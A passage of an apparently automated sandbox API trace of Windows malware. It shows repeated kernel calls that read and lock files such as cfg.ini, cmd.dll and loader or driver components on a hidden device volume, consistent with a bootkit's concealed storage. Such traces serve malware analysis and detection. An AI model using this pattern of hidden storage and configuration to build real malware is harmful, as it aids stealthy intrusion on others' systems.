(_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.207] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.207] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.207] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.207] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3d50 [0125.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.207] KeLeaveCriticalRegion () [0125.207] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.207] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.207] KeEnterCriticalRegion () [0125.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.207] KeLeaveCriticalRegion () [0125.208] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.208] KeEnterCriticalRegion () [0125.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.208] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.208] IdePortDispatch () returned 0x103 [0125.208] KeWaitForMutexObject () returned 0x0 [0125.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.208] KeLeaveCriticalRegion () [0125.208] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.208] KeEnterCriticalRegion () [0125.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc1000 [0125.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.208] IdePortDispatch () returned 0x103 [0125.208] KeWaitForMutexObject () returned 0x0 [0125.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.208] IdePortDispatch () returned 0x103 [0125.209] KeWaitForMutexObject () returned 0x0 [0125.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.209] KeLeaveCriticalRegion () [0125.209] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.209] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.209] KeEnterCriticalRegion () [0125.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.209] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.209] KeLeaveCriticalRegion () [0125.209] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.209] KeEnterCriticalRegion () [0125.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.209] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.209] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.209] KeLeaveCriticalRegion () [0125.209] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.209] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.209] KeEnterCriticalRegion () [0125.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.210] ExFreePoolWithTag (P=0xfffffa8003bf3d50, Tag=0x0) [0125.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.210] KeLeaveCriticalRegion () [0125.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.210] ReleaseMutex (hMutex=0xf0) returned 1 [0125.210] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.210] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.210] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.210] KeEnterCriticalRegion () [0125.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.210] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.210] IdePortDispatch () returned 0x103 [0125.210] KeWaitForMutexObject () returned 0x0 [0125.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.210] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.210] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.210] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.210] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.210] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6010 [0125.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.210] KeLeaveCriticalRegion () [0125.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.210] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.210] KeEnterCriticalRegion () [0125.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.210] KeLeaveCriticalRegion () [0125.210] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.210] KeEnterCriticalRegion () [0125.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.211] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.211] IdePortDispatch () returned 0x103 [0125.211] KeWaitForMutexObject () returned 0x0 [0125.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.211] KeLeaveCriticalRegion () [0125.211] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.211] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.211] KeEnterCriticalRegion () [0125.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc2000 [0125.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.211] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.211] IdePortDispatch () returned 0x103 [0125.211] KeWaitForMutexObject () returned 0x0 [0125.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.211] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.211] IdePortDispatch () returned 0x103 [0125.212] KeWaitForMutexObject () returned 0x0 [0125.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.212] KeLeaveCriticalRegion () [0125.212] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.212] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.212] KeEnterCriticalRegion () [0125.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.212] KeLeaveCriticalRegion () [0125.212] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.212] KeEnterCriticalRegion () [0125.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.212] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.212] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.212] KeLeaveCriticalRegion () [0125.212] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.212] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.212] KeEnterCriticalRegion () [0125.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.212] ExFreePoolWithTag (P=0xfffffa8003bf6010, Tag=0x0) [0125.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.212] KeLeaveCriticalRegion () [0125.212] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.212] ReleaseMutex (hMutex=0xf0) returned 1 [0125.212] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.213] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.213] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.213] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.213] KeEnterCriticalRegion () [0125.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.213] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.213] IdePortDispatch () returned 0x103 [0125.213] KeWaitForMutexObject () returned 0x0 [0125.214] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.214] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.214] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.214] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.214] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.214] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.214] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.214] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.214] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.214] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.215] KeLeaveCriticalRegion () [0125.215] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.215] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.215] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.215] KeEnterCriticalRegion () [0125.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.215] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.215] IdePortDispatch () returned 0x103 [0125.215] KeWaitForMutexObject () returned 0x0 [0125.215] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.215] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.215] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.215] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.215] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.215] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.215] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.215] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.215] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.215] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.215] KeLeaveCriticalRegion () [0125.215] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.215] ReleaseMutex (hMutex=0x100) returned 1 [0125.215] Sleep (dwMilliseconds=0x2bf20) [0125.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dd554f0, dwHighDateTime=0x1d24fa4)) [0125.221] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.221] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.221] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.221] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.222] KeEnterCriticalRegion () [0125.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.222] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.222] IdePortDispatch () returned 0x103 [0125.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.222] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.222] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.222] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.222] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.222] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6d10 [0125.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.222] KeLeaveCriticalRegion () [0125.222] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.222] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.222] KeEnterCriticalRegion () [0125.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.222] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.222] KeLeaveCriticalRegion () [0125.222] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.222] KeEnterCriticalRegion () [0125.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.222] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.222] IdePortDispatch () returned 0x103 [0125.223] KeWaitForMutexObject () returned 0x0 [0125.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.223] KeLeaveCriticalRegion () [0125.223] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.223] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.223] KeEnterCriticalRegion () [0125.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.223] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf5000 [0125.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.223] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.223] IdePortDispatch () returned 0x103 [0125.223] KeWaitForMutexObject () returned 0x0 [0125.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.223] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.223] IdePortDispatch () returned 0x103 [0125.224] KeWaitForMutexObject () returned 0x0 [0125.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.224] KeLeaveCriticalRegion () [0125.224] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.224] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.224] KeEnterCriticalRegion () [0125.224] ExAcquireFastMutexUnsafe 